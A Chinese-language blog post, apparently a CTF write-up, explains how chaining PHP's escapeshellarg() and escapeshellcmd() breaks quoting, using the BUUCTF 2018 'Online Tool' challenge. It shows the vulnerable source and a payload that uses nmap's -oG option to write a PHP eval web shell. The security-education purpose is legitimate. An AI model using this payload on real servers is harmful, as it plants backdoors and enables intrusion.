PHP escapeshellarg和escapeshellcmd漏洞

PHP escapeshellarg和escapeshellcmd的漏洞

escapeshellarg

官方文档

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

escapeshellarg— 把字符串转义为可以在 shell 命令里使用的参数

说明

1
escapeshellarg(string $arg): string

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()system()执行运算符

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。

escapeshellcmd

官方文档

escapeshellcmd

(PHP 4, PHP 5, PHP 7, PHP 8)

escapeshellcmd — shell 元字符转义

说明

1
escapeshellcmd(string $command): string

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入:&#;|*?~<>^()[]{}$`、\x0A\xFF'" 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 %! 字符前面都有一个插入符号(^)。

例子

  • [BUUCTF 2018]Online Tool1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host); //
$host = escapeshellcmd($host); //
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

Payload

1
?host=' <?php eval($_POST[1]);?> -oG shell.php '

详解:

经过**escapeshellarg()**的处理 如果我们传入host127.0.0.1'

1
2
3
4
5
6
7
8
<?php
$host = $_GET['host'];
$host = escapeshellarg($host);
printf $host;
# '127.0.0.1'\'''
$host = escapeshellcmd($host);
printf($host);
# '127.0.0.1'\\''\'

escapeshellarg+escapeshellcmd造成的漏洞就是经过两次转义导致单引号闭合,使得其后面的任意命令能够执行

首先

127.0.0.1'进行转义,结果为'127.0.0.1'\''' 先对**`**进行转义,然后对两边进行连接

之后

escapeshellcmd($host);$host的结果进行进一步转义 结果为'127.0.0.1'\\''\'其中转译了那个最后不配对的引号以及\进行转义,这时候我们最后传入的参数为'127.0.0.1'\\''\' 由于\\会被解释为\而不再是转义符号,所以后面的'没有被转义,与再后面的'配对一个空白连接符。所以可以简化为127.0.0.1\'

回到题目

我们通过对Payload的解析
escapeshellar处理后先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
127.0.0.1’ -oG经过 escapeshellarg处理后就变成了'127.0.0.1'\'' -oG ' 也就是发现单引号进行转义,且以它为中心分割为三部分(在两边加单引号) 。
随后在进经过escapeshellcmd 时变成:'127.0.0.1'\\'' -oG \'也就是将不成对的单引号及任意\进行添加\的操作。
而此时我们想得到shell需要写入一个shell文件我们想要正常执行<?php phpinfo(); ?> -oG 1.php但是经过上面的函数处理后变成了一个被单引号包围的字符串,不会当命令去执行,这里我们需要闭合一个单引号。
nmap有一个参数-oG可以实现将命令和结果写到文件
所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag

有一点需要注意的是,由于注入的命令中会带有中间的\和最后的',有可能会影响到命令的执行结果,还要结合具体情况再做分析。

参考文献


PHP escapeshellarg和escapeshellcmd漏洞
https://chrrr1y.github.io/2023/11/23/PHP漏洞/
作者
Chrrr1y
发布于
2023年11月23日
更新于
2023年11月29日
许可协议